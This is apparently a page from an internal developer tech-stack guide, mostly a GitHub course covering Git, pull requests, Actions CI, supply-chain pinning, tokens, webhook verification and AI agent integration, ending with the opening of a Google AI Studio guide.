NEXT_PUBLIC_MAPBOX_PUBLIC_TOKEN pk.eyJ… Mapbox public (pk.) token with URL restrictions, for GL JS map tiles only.
GEO_DEFAULT_COUNTRY US (or KE on Kenya-targeted projects) Fallback when IP geo is missing.
NOMINATIM_USER_AGENT codeamani-internal-tool/1.0 (ops@…) Required identifying UA if you use the public Nominatim server.

Never put the server-side key/token (GOOGLE_MAPS_API_KEY, MAPBOX_ACCESS_TOKEN) in client code.


codeAmani notes

Official docs:

GitHub Developer Course

Technology: github · Category: tooling · Last reviewed: 2026-10-20

Source: https://tech-stack.codeamanilabs.org/guide/github

Insight:

GitHub is where code lives, ships, and gets reviewed. This is a course, not just a reference: Git fundamentals → collaboration (PRs/reviews) → automation (Actions/CI) → security & supply chain → ecosystem → Claude Code. The two ideas that unlock everything: branches are cheap pointers to commits (so merge/rebase/squash are just different ways to reshape history), and a PR is a proposal gated by review + CI before it touches master. For codeAmani, a push to master is the deploy trigger, so rulesets + required CI keep production safe. Supply chain is now first-class: pin actions to SHAs (or adopt the actions.lock lockfile), attest what you ship, prefer GitHub Apps and fine-grained PATs over classic tokens, and verify every webhook's HMAC before parsing it. Agents (Copilot cloud agent, Claude via Agent HQ, and the Claude Code Action) all bill Actions minutes on private repos.

 ██████╗ ██╗████████╗██╗  ██╗██╗   ██╗██████╗
██╔════╝ ██║╚══██╔══╝██║  ██║██║   ██║██╔══██╗
██║  ███╗██║   ██║   ███████║██║   ██║██████╔╝
██║   ██║██║   ██║   ██╔══██║██║   ██║██╔══██╗
╚██████╔╝██║   ██║   ██║  ██║╚██████╔╝██████╔╝
 ╚═════╝ ╚═╝   ╚═╝   ╚═╝  ╚═╝ ╚═════╝ ╚═════╝

GitHub Developer Course

Focus: A hands-on path from git init to shipping with confidence: Git fundamentals, collaboration on GitHub, Actions/CI-CD, security and supply chain, the wider ecosystem, and driving it all from Claude Code. Grounded in docs.github.com, the GitHub changelog and the official release pages; reviewed 2026-10-20.

How this course works

Four levels, each ending with a ✅ capability checkpoint ("you can now…") and a 🛠 exercise. Work top-to-bottom the first time; use the command cheat-sheet and Table of Contents as reference after. The interactive learn module above this page (a branch & PR lifecycle simulator) is your illustration for Level 2; play with it before reading the merge/rebase section.

Table of Contents

Official Documentation

Resource URL
GitHub Docs (root) https://docs.github.com
GitHub Actions https://docs.github.com/en/actions
Secure use reference (Actions hardening) https://docs.github.com/en/actions/reference/security/secure-use
Artifact attestations https://docs.github.com/en/actions/concepts/security/artifact-attestations
Actions runner pricing https://docs.github.com/en/billing/reference/actions-runner-pricing
Code security https://docs.github.com/en/code-security
REST API + versions https://docs.github.com/en/rest/about-the-rest-api/api-versions
GraphQL API https://docs.github.com/en/graphql
Webhooks: validating deliveries https://docs.github.com/en/webhooks/using-webhooks/validating-webhook-deliveries
gh CLI manual https://cli.github.com/manual
GitHub MCP server https://github.com/github/github-mcp-server
Claude Code Action https://github.com/anthropics/claude-code-action
GitHub changelog https://github.blog/changelog/

Verified versions (2026-10-20)

Thing Version Source
actions/checkout v7.0.1 (3d3c42e5aac5ba805825da76410c181273ba90b1) GitHub releases
actions/setup-node v7.1.0 (949feb2413d6458794dcd2491c4babbbce0c15c1) GitHub releases
actions/cache v6.1.0 GitHub releases
actions/upload-artifact / download-artifact v7.0.2 / v8.0.2 GitHub releases
actions/attest v4.2.2 (1e69f48acb82d1966a394da916b4c1698aa569d6); attest-build-provenance v4.2.2 is now a thin wrapper GitHub releases
actions/create-github-app-token v3.3.0 GitHub releases
actions/dependency-review-action v5.0.0 GitHub releases
github/codeql-action v4.39.0 (use @v4) GitHub tags
actions/upload-pages-artifact / deploy-pages v5.0.0 / v5.0.1 GitHub releases
anthropics/claude-code-action v1 → v1.0.254 (db77d4d3c98f3f6380e7cd45ffba2342a3dbde3c) GitHub tags
github/github-mcp-server v2.0.2 (2026-10-08) GitHub releases
gh CLI v2.102.0 cli/cli releases
@octokit/rest / octokit 22.0.1 / 5.0.5 (ESM-only, Node ≥ 20) npm view
@octokit/webhooks-methods / @octokit/webhooks 6.0.0 / 14.2.0 npm view
@anthropic-ai/claude-code 2.1.304 npm view
REST API version 2026-03-10 (newest); 2022-11-28 supported until 2028-03-10 docs.github.com

Level 1 — Git fundamentals

Git vs GitHub

Git is the version-control tool that runs on your machine. It records snapshots (commits) of your files. GitHub is the hosted home for Git repositories that adds collaboration: pull requests, reviews, issues, CI/CD, security, and agents.

   your machine (Git)                         GitHub (remote)
 ┌────────────────────┐    git push     ┌────────────────────┐
 │ working dir        │ ─────────────▶  │  origin/master     │
 │   └ staging (index)│                 │  PRs · Actions ·    │
 │       └ .git/ (commits, branches)    │  Issues · Security  │
 └────────────────────┘ ◀───────────── └────────────────────┘
                          git pull

A file moves through three states: working directory → staging area (git add) → committed history (git commit).

Setup & first-time config

# Install Git + the GitHub CLI
winget install Git.Git GitHub.cli     # Windows
brew install git gh                    # macOS
sudo apt install git gh               # Debian/Ubuntu (incl. WSL)

# One-time identity
git config --global user.name  "Your Name"
git config --global user.email "you@codeamani.com"
git config --global init.defaultBranch master   # codeAmani repos deploy from master
git config --global pull.rebase false            # merge on pull (or 'true' to rebase)

# Authenticate the CLI (browser flow; stores a token in the OS keychain)
gh auth login
gh --version   # expect 2.102.x or newer

The core loop

git init                      # start a repo here   (or: gh repo clone owner/name)
git status                    # what changed?
git add file.ts               # stage a change      (git add -A for everything)
git commit -m "feat: add login form"
git log --oneline --graph     # see history as a graph
git diff                      # unstaged changes    (git diff --staged for staged)

Write good commit messages: a short imperative summary (fix: handle null token), optionally a body explaining why. The codeAmani convention follows Conventional Commits (feat:, fix:, chore:, docs:).

Branches: the cheap pointer

A branch is just a movable pointer to a commit; creating one is instant and free. This is the mental model that makes everything else click.

git switch -c feature/mpesa-stk      # create + switch (old: git checkout -b)
git switch master                    # switch back
git branch                           # list local branches
git branch -d feature/mpesa-stk      # delete a merged branch

Remotes & pushing to GitHub

gh repo create codeAmani-Labs/my-app --private --source=. --push   # create + link + push
# …or link an existing remote
git remote add origin https://github.com/codeAmani-Labs/my-app.git
git push -u origin master            # -u sets the upstream once
git pull                             # fetch + merge remote changes
git fetch origin                     # download without merging
# .gitignore — never track secrets or build junk
.env*
!.env.example
node_modules/
.next/
*.log

✅ Checkpoint: You can initialise a repo, stage and commit changes, branch, and push to GitHub. 🛠 Exercise: Create a repo with gh repo create, add a README.md, commit on a feature/readme branch, and push it.


Level 2 — Collaboration

Merge vs rebase vs squash

The three ways to integrate a branch, and the concept developers most often get wrong. Play with the simulator above to see the commit graph redraw for each.

gitGraph
   commit id: "A"
   commit id: "B"
   branch feature
   checkout feature
   commit id: "D"
   commit id: "E"
   checkout main
   commit id: "C"
   merge feature
Strategy What it does History Use when
Merge Creates a merge commit joining both lines Preserves true branch shape Shared/long-lived branches; you want the full record
Rebase Replays your commits on top of the target Linear, no merge commits Cleaning up your local branch before a PR
Squash Combines all branch commits into one One tidy commit per feature Merging a PR into master (the codeAmani default)
git merge feature/x                  # merge feature/x into current branch
git rebase master                    # replay current branch on top of master
git rebase -i HEAD~3                  # interactively squash/reorder last 3 commits
# Golden rule: never rebase commits you've already pushed to a shared branch.

Pull requests: the unit of collaboration

A PR proposes merging one branch into another, gated by review + CI before it lands. Lifecycle: open → review → CI checks → approve → merge (or the merge queue on busy repos).

gh pr create --title "feat: Stripe checkout" --body "Adds Checkout Session + webhook"
gh pr create --fill                  # use branch name + last commit as title/body
gh pr list                           # open PRs
gh pr view 42 --web                  # open in browser
gh pr checks 42 --watch              # CI status for the PR, live
gh pr merge 42 --squash --delete-branch
gh pr merge 42 --squash --auto       # merge automatically once checks pass

Code review

gh pr diff 42                        # read the changes
gh pr review 42 --approve
gh pr review 42 --request-changes --body "Verify the Stripe signature before parsing"
gh pr review 42 --comment --body "Nice — one nit inline"

A good review checks correctness, security (no secrets, input validated, webhooks verified), tests, and clarity. Keep PRs small; they get reviewed faster and merge cleaner. AI reviewers (Copilot code review, the Claude Code Action) are a first pass, not a substitute for a human approval on master.

Resolving conflicts

git switch feature/x
git merge master                     # conflict markers appear in files
# Edit the <<<<<<< / ======= / >>>>>>> sections, choosing the right code, then:
git add resolved-file.ts
git commit                           # completes the merge

Undoing things safely

Goal Command Safe on shared history?
Discard unstaged file change git restore file ✅
Unstage a file git restore --staged file ✅
Amend the last commit git commit --amend ❌ (rewrites)
Undo a commit, keep changes git reset --soft HEAD~1 ❌
Revert a pushed commit git revert <sha> ✅ (new inverse commit)
Stash work-in-progress git stash / git stash pop ✅
Recover "lost" commits git reflog ✅ (your safety net)

git revert is the safe public undo; git reset/--amend rewrite history (force-push territory). When in doubt, git reflog remembers where everything was.

Issues, labels & Projects

gh issue create --title "Bug: webhook times out" --label bug,priority:high
gh issue list --assignee @me
gh issue close 17 --comment "Fixed in #42"
gh project list --owner codeAmani-Labs     # Projects (v2) boards

Rulesets & branch protection

Protect master so nothing merges unreviewed or red. Repository rulesets (Settings → Rules → Rulesets) are the current mechanism: they stack, can target many branches by pattern, can be set at org level, and support bypass lists. Classic branch protection still works.

# Classic branch protection via the REST API (still supported)
gh api -X PUT repos/codeAmani-Labs/my-app/branches/master/protection \
  --input - <<'JSON'
{
  "required_status_checks": { "strict": true, "contexts": ["lint", "typecheck", "test"] },
  "enforce_admins": true,
  "required_pull_request_reviews": { "required_approving_review_count": 1 },
  "restrictions": null
}
JSON
# Rulesets: list what's applied to a repo
gh api repos/codeAmani-Labs/my-app/rulesets

✅ Checkpoint: You can open a PR, review it, resolve conflicts, undo mistakes safely, and protect a branch. 🛠 Exercise: Open a PR from your feature/readme branch, request a change on it, push a fix, then squash-merge it with --auto.


Level 3 — Automation, security & ecosystem

GitHub Actions (CI/CD)

Workflows are YAML in .github/workflows/. Structure: events (on) → jobs → steps. Jobs run in parallel unless chained with needs.

flowchart LR
  PR["push / pull_request"] --> T["job: check<br/>matrix lint, typecheck, test"]
  T --> D["required checks green"]
  D --> V["squash-merge → Vercel auto-deploy"]
# .github/workflows/ci.yml — full file in github/examples/ci.yml
name: CI
on:
  push: { branches: [master] }
  pull_request: { branches: [master] }
  workflow_dispatch:           # manual "Run workflow" button

permissions:
  contents: read               # least privilege by default

concurrency:                   # cancel superseded runs of this workflow on the same ref
  group: ${{ github.workflow }}-${{ github.ref }}
  cancel-in-progress: true

jobs:
  check:
    runs-on: ubuntu-latest
    timeout-minutes: 15        # default job cap is 6 h on GitHub-hosted runners
    strategy:
      fail-fast: false
      matrix:
        task: [lint, typecheck, test]
    steps:
      - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
        with: { persist-credentials: false }
      - uses: actions/setup-node@949feb2413d6458794dcd2491c4babbbce0c15c1 # v7.1.0
        with: { node-version: "24", cache: npm }
      - run: npm ci
      - run: npm run ${{ matrix.task }}

Key building blocks:

gh workflow list
gh workflow run ci.yml --ref master
gh run watch                   # live-stream the active run
gh run view 12345678 --log-failed

Workflow security rules that bite:

Pinning actions: SHAs and the lockfile

A tag like @v7 is a movable pointer; if an action's repo is compromised the tag can be repointed. Two defences, strongest first:

  1. Workflow dependency lockfile (public preview). gh extension install github/gh-actions-lock, then run gh actions-lock at the repo root. It writes .github/workflows/actions.lock pinning every action (including transitive ones) to a commit and to the source repo's numeric owner/repo IDs, which Actions checks at run time. GitHub's docs say SHA pinning is no longer necessary in repos that adopt it. Dependabot regenerates lockfile entries when it bumps an onboarded workflow. Note: allowed-actions allowlists are then checked against the locked SHA, so tag-pinned allowlist entries stop matching.
  2. Full-length commit SHA in each uses: with the tag in a same-line comment: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1. Dependabot updates both the SHA and the comment.

Caveat: Dependabot alerts only fire for actions referenced by semver tag, not by SHA. Pinned repos rely on Dependabot version updates (package-ecosystem: github-actions) to stay patched.

OIDC: keyless cloud auth

With permissions: id-token: write, a job can mint a short-lived OIDC token (issuer https://token.actions.githubusercontent.com) and exchange it with a cloud provider (AWS, GCP, Azure, and now Anthropic's Workload Identity Federation) instead of storing a long-lived key. Scope the trust policy to repo:OWNER/REPO:ref:refs/heads/master or an environment, never just the org.

Artifact attestations & SLSA

Attestations are Sigstore-signed provenance claims (workflow, repo, commit SHA, trigger) that consumers check with gh attestation verify. Public repos sign with the Sigstore public-good instance (and a public transparency log); private repos use GitHub's own Sigstore instance.

permissions:
  contents: read
  id-token: write
  attestations: write
steps:
  # …build dist.tar.gz…
  - uses: actions/attest@1e69f48acb82d1966a394da916b4c1698aa569d6 # v4.2.2
    with:
      subject-path: dist.tar.gz          # or subject-name + subject-digest for images
gh attestation verify dist.tar.gz -R codeAmani-Labs/my-app
gh attestation verify oci://ghcr.io/codeamani-labs/app:1.2.0 -R codeAmani-Labs/my-app
Setup SLSA level (per GitHub docs)
actions/attest in the build job Build L2
Build + attest inside a shared reusable workflow, verified with --signer-workflow Build L3
slsa-github-generator isolated builders Build L3 (codeAmani's documented default)

Only attest things people download and run (release tarballs, images, packages), not every test build. Full example: github/examples/release-attest.yml. Policy: see the Supply-Chain & Provenance section of CLAUDE.md and supply-chain/CLAUDE_CODE_INTEGRATION.md.

Actions pricing (2026)

Public repos on standard runners: free. Self-hosted runners: free (the announced $0.002/min self-hosted "cloud platform charge" for March 2026 was postponed in December 2025 and the billing docs still list self-hosted as free). Hosted-runner prices dropped by up to 39% on 2026-01-01. Private repos get a monthly quota, then pay per minute (rounded up per job):

Runner SKU $/min
Linux 1-core x64 actions_linux_slim 0.002
Linux 2-core x64 (ubuntu-latest) actions_linux 0.006
Linux 2-core arm64 actions_linux_arm 0.005
Windows 2-core x64 / arm64 actions_windows / _arm 0.010
macOS 3/4-core actions_macos 0.062
Linux 4 / 8 / 16-core (larger) linux_N_core 0.012 / 0.022 / 0.042
Plan Minutes / month Artifact + Packages storage Cache / repo
Free (user or org) 2,000 500 MB 10 GB
Pro 3,000 1 GB 10 GB
Team 3,000 2 GB 10 GB
Enterprise Cloud 50,000 50 GB 10 GB

Overage storage: $0.25/GB-month (artifacts + Packages), $0.07/GB-month (cache above 10 GB). Larger runners are never free and can't use included minutes. Agents bill minutes too: Copilot code review, Copilot cloud agent and third-party agents (Claude, Codex) consume Actions minutes on private repos (plus Copilot AI credits). Set a budget under Billing → Budgets and alerts. Arm Linux (ubuntu-24.04-arm) is the cheapest 2-core option for Node builds.

Security suite (shift left)

Feature Where it comes from Private repo needs
Dependency graph, Dependabot alerts + security updates + version updates All plans nothing extra
Secret scanning + push protection, AI-detected secrets, custom patterns, delegated bypass GitHub Secret Protection ($19 per active committer / month) Team or Enterprise plan
Code scanning (CodeQL), Copilot Autofix, dependency review, AI Scan, security campaigns GitHub Code Security ($30 per active committer / month) Team or Enterprise plan

Public repos get secret scanning, push protection and CodeQL code scanning free. Separately, push protection for users is on by default for every GitHub.com account and stops you pushing secrets to any public repo. Repository push protection is off by default; a repo admin or org owner enables it.

# .github/dependabot.yml (full file: github/examples/dependabot.yml)
version: 2
updates:
  - package-ecosystem: "npm"
    directory: "/"
    schedule: { interval: "weekly" }
    cooldown: { default-days: 5 }     # version updates default to a 3-day cooldown anyway
    groups:
      minor-and-patch: { update-types: ["minor", "patch"] }
  - package-ecosystem: "github-actions"
    directory: "/"
    schedule: { interval: "weekly" }
# .github/workflows/codeql.yml — CodeQL code scanning (or use "default setup" in Settings)
name: CodeQL
on: { push: { branches: [master] }, pull_request: { branches: [master] } }
permissions: { contents: read }
jobs:
  analyze:
    runs-on: ubuntu-latest
    permissions: { security-events: write, contents: read }
    steps:
      - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
      - uses: github/codeql-action/init@v4
        with: { languages: javascript-typescript }
      - uses: github/codeql-action/analyze@v4

Prefer code scanning default setup (Settings → Code security → CodeQL → Default) unless you need custom queries; it needs no workflow file. Add actions/dependency-review-action@v5 to PR CI to block PRs that introduce known-vulnerable dependencies (needs Code Security on private repos).

Tokens, PATs & GitHub Apps

Credential Use it for Notes
GITHUB_TOKEN (Actions) Anything inside a workflow on the same repo Auto-injected, expires with the job, scoped by permissions:
GitHub App installation token Bots, servers, cross-repo automation, webhooks 1-hour tokens, scoped to installed repos + declared permissions, not tied to a person. Preferred for anything long-lived
Fine-grained PAT Personal scripts, local MCP, CLI on one owner One owner per token, per-repo selection, expiry (default 30 days, max 366 or none if policy allows), org approval; max 50 per user
Classic PAT Only where fine-grained can't (Packages, Checks API, multi-org, outside-collaborator writes) Broad repo/workflow scopes across every repo you can access. Avoid
OIDC Keyless cloud/vendor auth from Actions No stored secret at all
# Mint an App token inside a workflow (client ID in a repo VARIABLE, key in a SECRET)
- uses: actions/create-github-app-token@v3
  id: app-token
  with:
    client-id: ${{ vars.APP_CLIENT_ID }}
    private-key: ${{ secrets.APP_PRIVATE_KEY }}
- run: gh issue list
  env:
    GH_TOKEN: ${{ steps.app-token.outputs.token }}

Server-side App auth with Octokit lives in github/examples/github-app.ts (new App({ appId, privateKey }) → app.getInstallationOctokit(id)).

Webhooks: verify, then parse

GitHub signs the raw body with your webhook secret (HMAC-SHA256) and sends X-Hub-Signature-256: sha256=<hex>. Verify with a constant-time compare before JSON.parse, respond 2xx within 10 seconds (queue heavy work), and dedupe on X-GitHub-Delivery (redeliveries reuse it). X-Hub-Signature (SHA-1) is legacy only.

// app/api/webhooks/github/route.ts (full file: github/examples/webhook-route.ts)
import { verify } from "@octokit/webhooks-methods";

export async function POST(req: Request): Promise<Response> {
  const secret = process.env.GITHUB_WEBHOOK_SECRET;
  const signature = req.headers.get("x-hub-signature-256");
  if (!secret || !signature) return new Response("unauthorized", { status: 401 });
  const rawBody = await req.text();
  if (!(await verify(secret, rawBody, signature))) {
    return new Response("bad signature", { status: 401 });
  }
  const event = req.headers.get("x-github-event");
  // …dedupe on x-github-delivery, enqueue, then:
  return new Response(event === "ping" ? "pong" : null, { status: event === "ping" ? 200 : 202 });
}

Test vector from the docs: secret It's a Secret to Everybody, payload Hello, World! → sha256=757107ea0eb2509fc211221cce984b8a37570b6d7586c22c46f4379c8b043e17.

REST, GraphQL & Octokit

# REST — anything the API exposes
gh api repos/codeAmani-Labs/my-app/pulls --jq '.[].title'
gh api -X POST repos/codeAmani-Labs/my-app/issues -f title="From the CLI" -f body="…"
gh api --paginate repos/codeAmani-Labs/my-app/issues --jq '.[].number'
# GraphQL — precise, fewer round-trips
gh api graphql -f query='query { viewer { login } }'
# Pin the REST API version for stable scripts
gh api -H "X-GitHub-Api-Version: 2026-03-10" repos/codeAmani-Labs/my-app

The REST API is date-versioned. 2026-03-10 is the newest version; requests without X-GitHub-Api-Version still default to 2022-11-28, which is supported until 2028-03-10 (each version gets at least 24 months after its successor ships; a retired version returns 410 Gone, and Deprecation/Sunset headers warn you first). gh api itself sends 2022-11-28 unless you pass -H (checked with gh api --verbose). Send the header explicitly and read the breaking-changes page before bumping. GraphQL is a single evolving schema; watch its changelog.

// Octokit (TypeScript) — full file: github/examples/octokit.ts
import { Octokit } from "@octokit/rest";          // @octokit/rest 22.0.1, ESM-only

const octokit = new Octokit({
  auth: process.env.GITHUB_TOKEN,
  userAgent: "codeamani-scripts/1.0",
  headers: { "X-GitHub-Api-Version": "2026-03-10" },
});

const prs = await octokit.paginate(octokit.rest.pulls.list, {
  owner: "codeAmani-Labs", repo: "my-app", state: "open", per_page: 100,
});

Pick the package: @octokit/rest for REST-only scripts; octokit (5.x) when you also need GraphQL, Apps (App), OAuth apps, webhooks, retries and throttling in one import. Both are ESM-only and need Node ≥ 20.

Packages & Releases

gh release create v1.2.0 --generate-notes     # notes from merged PRs
gh release list
# GitHub Packages (npm): "publishConfig": { "registry": "https://npm.pkg.github.com" }, then npm publish
# Packages storage shares the Actions artifact allowance (see pricing table)

Codespaces

A cloud dev environment defined by devcontainer.json, for instant, reproducible onboarding.

// .devcontainer/devcontainer.json
{
  "image": "mcr.microsoft.com/devcontainers/javascript-node:24",
  "features": { "ghcr.io/devcontainers/features/github-cli:1": {} },
  "postCreateCommand": "npm ci",
  "customizations": { "vscode": { "extensions": ["dbaeumer.vscode-eslint"] } }
}
gh codespace create -R codeAmani-Labs/my-app
gh codespace code            # open in VS Code

GitHub Pages

Free static hosting from a repo (docs/landing pages). Standard runners are free for Pages builds. Enable under Settings → Pages, or deploy via Actions:

permissions: { contents: read, pages: write, id-token: write }
# … build, then:
- uses: actions/upload-pages-artifact@v5
  with: { path: dist }
- uses: actions/deploy-pages@v5

✅ Checkpoint: You can write a pinned, least-privilege CI workflow; attest a release; enable Dependabot + CodeQL + push protection; choose between GITHUB_TOKEN, an App and a fine-grained PAT; and verify a webhook signature. 🛠 Exercise: Add examples/ci.yml to a repo, run gh actions-lock, enable Dependabot for github-actions, and wire examples/webhook-route.ts to a test webhook (use the docs' test vector first).


Level 4 — GitHub + AI agents

The GitHub MCP server

The official github/github-mcp-server (v2.0.2, Oct 2026) lets Claude read and act on repos, issues, PRs, Actions, and security alerts in-session. v2.0 added typed tool output schemas for clients on MCP spec 2026-07-28+.

Remote (hosted by GitHub, recommended). Endpoint https://api.githubcopilot.com/mcp/. Auth with OAuth (host-dependent) or a PAT in an Authorization: Bearer header. Read-only: append /readonly. Single toolset: https://api.githubcopilot.com/mcp/x/<toolset> (also /x/all). Or use headers: X-MCP-Toolsets, X-MCP-Tools, X-MCP-Readonly, X-MCP-Lockdown, X-MCP-Insiders.

# Claude Code ≥ 2.1.1 (per the server's install guide)
claude mcp add-json github '{"type":"http","url":"https://api.githubcopilot.com/mcp","headers":{"Authorization":"Bearer YOUR_FINE_GRAINED_PAT"}}' --scope user
# If add-json returns "Invalid input" on Windows, use the older form:
claude mcp add --transport http github https://api.githubcopilot.com/mcp -H "Authorization: Bearer YOUR_FINE_GRAINED_PAT"
claude mcp list
// .mcp.json (project scope) — read-only remote server, token from the environment
{
  "mcpServers": {
    "github": {
      "type": "http",
      "url": "https://api.githubcopilot.com/mcp/readonly",
      "headers": { "Authorization": "Bearer ${GITHUB_PERSONAL_ACCESS_TOKEN}" }
    }
  }
}

Local (Docker image or release binary). The local server now does a browser OAuth login on github.com by default (token kept in memory), or takes GITHUB_PERSONAL_ACCESS_TOKEN (takes precedence). Needed for GitHub Enterprise Server (GITHUB_HOST).

# OAuth login (publish the fixed callback port)
claude mcp add github -e GITHUB_OAUTH_CALLBACK_PORT=8085 -- \
  docker run -i --rm -p 127.0.0.1:8085:8085 -e GITHUB_OAUTH_CALLBACK_PORT ghcr.io/github/github-mcp-server
# PAT + explicit toolsets + read-only + lockdown
claude mcp add github -e GITHUB_PERSONAL_ACCESS_TOKEN -e GITHUB_TOOLSETS=default,actions,code_security -e GITHUB_READ_ONLY=1 -e GITHUB_LOCKDOWN_MODE=1 -- \
  docker run -i --rm -e GITHUB_PERSONAL_ACCESS_TOKEN -e GITHUB_TOOLSETS -e GITHUB_READ_ONLY -e GITHUB_LOCKDOWN_MODE ghcr.io/github/github-mcp-server
Toolset What it covers
context (default) Who am I / where am I. Strongly recommended
repos (default) Files, branches, commits, releases
issues (default) Create, comment, label, sub-issues
pull_requests (default) Create, review, merge, comment
users (default) User lookup
actions Workflows, runs, logs
code_security / secret_protection / dependabot Code-scanning, secret-scanning, Dependabot alerts
governance Rulesets and custom properties
copilot Assign work to Copilot cloud agent
others code_quality, discussions, gists, git, labels, notifications, orgs, projects, security_advisories, stargazers, copilot_issue_intents
remote-only copilot_spaces, github_support_docs_search

Lockdown mode filters content from public repos authored by people without push access, a best-effort guard against prompt injection via issues/PR comments. It is not an authorization boundary; the token's real permissions still apply. Turn it on for agents that read public issues.

The npm package @modelcontextprotocol/server-github is deprecated ("Package no longer supported"). Use the remote endpoint, the Docker image, or the release binary.

Claude Code GitHub Action

anthropics/claude-code-action@v1 runs Claude Code on your runner: mention @claude in an issue/PR, assign an issue, add a label, or run it with a prompt: on any event (scheduled audits, CI-failure fixes, PR review).

Full workflow: github/examples/claude.yml.

- uses: anthropics/claude-code-action@v1
  with:
    anthropic_api_key: ${{ secrets.ANTHROPIC_API_KEY }}
    prompt: "Review this PR for security issues: secrets, unverified webhooks, missing input validation."
    claude_args: --max-turns 8

Copilot cloud agent & Claude on Agent HQ

Which to use? For codeAmani: the Claude Code Action when you want Claude with your own API key, your own CLAUDE.md, plugins and tool allowlist. Claude on Agent HQ when a teammate already has Copilot and wants to hand off an issue from the GitHub UI. Either way, the output is a PR that goes through the same review + required checks.

Claude Code automations

<!-- .claude/commands/review-pr.md -->
Review pull request #$ARGUMENTS.
1. Use the GitHub MCP to fetch the PR diff, description and existing comments.
2. Check for bugs, security issues (secrets, unverified webhooks, unvalidated input), missing tests, and convention drift.
3. Post a review: approve if safe, else request changes with specific line notes.

Usage: /review-pr 42

// scripts/auto-pr.mjs — open a PR after a feature branch is pushed (Stop hook)
import { execFileSync } from "node:child_process";   // execFileSync + arg arrays = no shell injection
const branch = execFileSync("git", ["branch", "--show-current"]).toString().trim();
if (branch === "main" || branch === "master") process.exit(0);
if (execFileSync("git", ["status", "--porcelain"]).toString()) process.exit(0);
try { execFileSync("gh", ["pr", "create", "--fill"], { stdio: "inherit" }); } catch { /* PR may already exist */ }

✅ Checkpoint: You can give Claude scoped, read-only GitHub access via MCP, run Claude in Actions without a stored key, and hand an issue to an agent knowing what it costs. 🛠 Exercise: Add examples/claude.yml to a sandbox repo, comment @claude explain the CI workflow on an issue, and check the run's minutes in the Actions usage view.


Environment variables

Real secrets (store them in the secrets vault / Vercel env / Actions secrets; placeholders only):

GITHUB_TOKEN=github_pat_...
GITHUB_WEBHOOK_SECRET=replace_with_random_32_byte_hex...
GITHUB_APP_PRIVATE_KEY=pem_contents_with_newlines_escaped_as_backslash_n...
ANTHROPIC_API_KEY=sk-ant-...

Non-secret settings (plain config or Actions variables, not secrets):

Name Example Used by
GITHUB_APP_ID / APP_CLIENT_ID 123456 / Iv23li... Octokit App, create-github-app-token
GITHUB_APP_INSTALLATION_ID 98765432 getInstallationOctokit()
GITHUB_TOOLSETS default,actions,code_security local MCP server
GITHUB_READ_ONLY / GITHUB_LOCKDOWN_MODE 1 local MCP server
GITHUB_HOST https://ghe.example.com MCP / gh against GHES or ghe.com
ANTHROPIC_FEDERATION_RULE_ID / ANTHROPIC_ORGANIZATION_ID fdrl_... / UUID Claude Code Action WIF

gh reads GH_TOKEN (or GITHUB_TOKEN) from the environment; inside Actions pass GH_TOKEN: ${{ github.token }} via env:.

Command cheat-sheet

# Daily loop
git status / git add -A / git commit -m "…" / git push
git switch -c feature/x      # branch        git switch master
git pull --rebase            # update cleanly  git stash / git stash pop
# History
git log --oneline --graph --all
git revert <sha>             # safe undo of a pushed commit
git reflog                   # find lost commits
# GitHub via gh
gh pr create --fill / gh pr checks 42 --watch / gh pr merge 42 --squash --auto
gh issue create / gh run watch / gh run view --log-failed
gh release create vX --generate-notes
gh attestation verify dist.tar.gz -R OWNER/REPO
gh extension install github/gh-actions-lock && gh actions-lock
gh api repos/OWNER/REPO/... # raw REST/GraphQL

More: github/reference/gh-cli-cheatsheet.md.

Troubleshooting

Issue Fix
gh: command not found Install via winget/brew/apt; gh --version should be 2.102+
401 on MCP HTTP Token expired or missing permission; regenerate the fine-grained PAT with the repos + permissions the toolsets need
claude mcp add-json → "Invalid input" (Windows) Use claude mcp add --transport http github <url> -H "Authorization: Bearer …"
Push rejected (non-fast-forward) git pull --rebase then push
Push blocked by push protection A secret was detected: remove it, rotate it, recommit (bypass only for confirmed false positives)
Webhook signature never matches Verify the raw body (no JSON re-serialise), use X-Hub-Signature-256, check the secret is set on the hook; a proxy may be rewriting the body
Webhook shows "timed out" Respond 2xx within 10 s; enqueue the work
Workflow didn't run Check on: triggers + branch/path filters; workflows from forks need approval
Run fails after gh actions-lock An allowlist entry is tag-pinned; switch it to a wildcard or full SHA
410 Gone from REST You pinned a retired API version; move to 2026-03-10
Unexpected Actions bill Agents and Copilot code review consume minutes on private repos; add timeout-minutes, concurrency, and a budget
Accidentally committed a secret Rotate it immediately; then history rewrite (git filter-repo) + force-push

codeAmani notes

Official docs:

Google AI Studio (Gemini API) Integration Guide

Technology: google-ai-studio · Category: ai · Last reviewed: 2026-09-01

Source: https://tech-stack.codeamanilabs.org/guide/google-ai-studio

Insight:

AI Studio is where codeAmani mints its Gemini key — the image/multimodal provider that generates this dashboard's thumbnails. It's the Developer-API path (distinct from Vertex AI), and a Maps key will NOT work here. Keep the key server-side and cache generated images in R2, since image generation is billed per image.

 ██████╗  ██████╗  ██████╗  ██████╗ ██╗     ███████╗     █████╗ ██╗
██╔════╝ ██╔═══██╗██╔═══██╗██╔════╝ ██║     ██╔════╝    ██╔══██╗██║
██║  ███╗██║   ██║██║   ██║██║  ███╗██║     █████╗      ███████║██║
██║   ██║██║   ██║██║   ██║██║   ██║██║     ██╔══╝      ██╔══██║██║
╚██████╔╝╚██████╔╝╚██████╔╝╚██████╔╝███████╗███████╗    ██║  ██║██║
 ╚═════╝  ╚═════╝  ╚═════╝  ╚═════╝ ╚══════╝╚══════╝    ╚═╝  ╚═╝╚═╝

███████╗████████╗██╗   ██╗██████╗ ██╗ ██████╗
██╔════╝╚══██╔══╝██║   ██║██╔══██╗██║██╔═══██╗
███████╗   ██║   ██║   ██║██║  ██║██║██║   ██║
╚════██║   ██║   ██║   ██║██║  ██║██║██║   ██║
███████║   ██║   ╚██████╔╝██████╔╝██║╚██████╔╝
╚══════╝   ╚═╝    ╚═════╝ ╚═════╝ ╚═╝ ╚═════╝

Google AI Studio (Gemini API) Integration Guide

Focus: Google AI Studio is where codeAmani Labs creates its Gemini API key. The Gemini API powers text, multimodal, and image generation (it generates the dashboard's tech-stack thumbnails). This is the AI Studio / Developer-API path — distinct from Vertex AI.

Overview

